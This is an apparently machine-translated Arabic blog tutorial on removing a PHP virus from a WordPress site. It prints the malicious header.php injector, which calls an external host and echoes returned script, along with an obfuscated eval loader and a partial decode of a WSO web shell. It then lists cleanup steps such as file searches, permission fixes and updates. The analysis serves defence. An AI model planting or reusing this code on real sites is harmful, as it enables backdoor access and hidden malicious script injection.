حذف WordPress PHP الفيروسات

يقدم هذا البرنامج التعليمي حالة معينة حيث توجد مدونة WordPress كان مصابا. إزالة WordPress فيروس PHP.

في اليوم الآخر ، لاحظت رمزًا مشبوهًا يبدو أنه أحد فيروسات PHP WordPress. كان كود PHP التالي موجودًا في ملف header.phpقبل السطر </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

هذه بعض أكواد PHP التي تبدو وكأنها تحاول استرداد محتوى مورد من خادم خارجي ، لكن الجزء الذي يشير إلى عنوان URL غير مكتمل.

آلية العمل أكثر تعقيدًا إلى حد ما وتقوم بذلك WordPress PHP Virus غير مرئي لزوار المواقع المتأثرة. بدلاً من ذلك ، يستهدف محركات البحث (Google) ويؤدي ضمنيًا إلى انخفاض كبير في عدد زوار المواقع المتأثرة.

تفاصيل البرنامج الضار WordPress PHP الفيروسات

1. الكود أعلاه موجود في header.php.

2. ظهر ملف على الخادم wp-log.php في المجلد wp-includes.

3. wp-log.php يحتوي على رمز مشفر ، ولكن من السهل نسبيًا فك تشفيره.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

فك شفرة البرامج الضارة من wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

يبدو أن هذا نص PHP ضار يحتوي على رمز للتعامل مع المصادقة والإجراءات على الملفات والأدلة على الخادم. يمكن أن نرى بسهولة أن هذا البرنامج النصي يحتوي على متغيرات مثل $auth_pass (كلمة مرور المصادقة) ، $default_action (الإجراء الافتراضي) ، $default_use_ajax (باستخدام Ajax افتراضيًا) و $default_charset (الإعداد الافتراضي للحروف).

من الواضح أن هذا البرنامج النصي يحتوي على قسم يتحقق من وكلاء مستخدم HTTP لمنع الوصول إلى بعض روبوتات الويب ، مثل محركات البحث. يحتوي أيضًا على قسم يتحقق من وضع أمان PHP ويعين أدلة عمل معينة.

4. إذا تم الوصول إلى wp-log.php في المستعرض ، تظهر صفحة ويب بها حقل دخول. للوهلة الأولى ، يبدو أنه مدير ملفات يمكن من خلاله تحميل الملفات الجديدة بسهولة إلى الخادم الهدف.

كيف تقوم بتطوير موقع على شبكة الإنترنت WordPress?

دائمًا ، تتضمن العملية اليدوية لإزالة الفيروسات اكتشاف الثغرة وفهمها أولاً.

1. إنشاء نسخة احتياطية للموقع بأكمله. يجب أن يتضمن هذا كلاً من الملفات وقاعدة البيانات.

2. حدد المدة التي قضاها الفيروس تقريبًا وابحث في خادم الويب عن الملفات المعدلة أو التي تم إنشاؤها حديثًا ضمن الإطار الزمني التقريبي.

على سبيل المثال ، إذا كنت تريد رؤية الملفات .php تم إنشاؤه أو تعديله في الأسبوع الماضي ، قم بتشغيل الأمر في الخادم:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

إنها طريقة بسيطة يمكنك من خلالها الكشف عن الملفات WordPress المصابة وتلك التي تحتوي على رمز البرمجيات الخبيثة.

3. افحص الملف .htaccess من التوجيهات المشبوهة. سطور الإذن أو تنفيذ البرنامج النصي.

4. تحقق من قاعدة البيانات. من الممكن جدا أن تكون بعض الوظائف والصفحات WordPress يتم تحريرها باستخدام برامج ضارة أو إضافة برامج جديدة مستخدمين لهم دور administrator.

5. تحقق من أذونات الكتابة للمجلدات والملفات. chmod سي chown.

الأذونات الموصى بها هي: 644 للملفات و 755 للأدلة.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. تحديث الكل WordPress Plugins / WordPress Themes.

هذا الموضوع ذو علاقة بـ: حل Redirect WordPress Hack 2023 (إعادة توجيه الفيروسات)

هذه طرق "أساسية" يمكنك من خلالها تطوير موقع ويب / مدونة WordPress. إذا كانت لديك مشاكل وتحتاج إلى مساعدة ، فسيكون قسم التعليقات مفتوحًا.

شغوفة بالتكنولوجيا ، أكتب بسرور StealthSettings.com منذ عام 2006. لدي خبرة واسعة في أنظمة التشغيل: macOS, Windows سي Linuxبل أيضًا في لغات البرمجة ومنصات التدوين (WordPress) وللمتاجر عبر الإنترنت (WooCommerce، ماجنتو، بريستاشوب).

كيف » WordPress » حذف WordPress PHP الفيروسات
اترك تعليق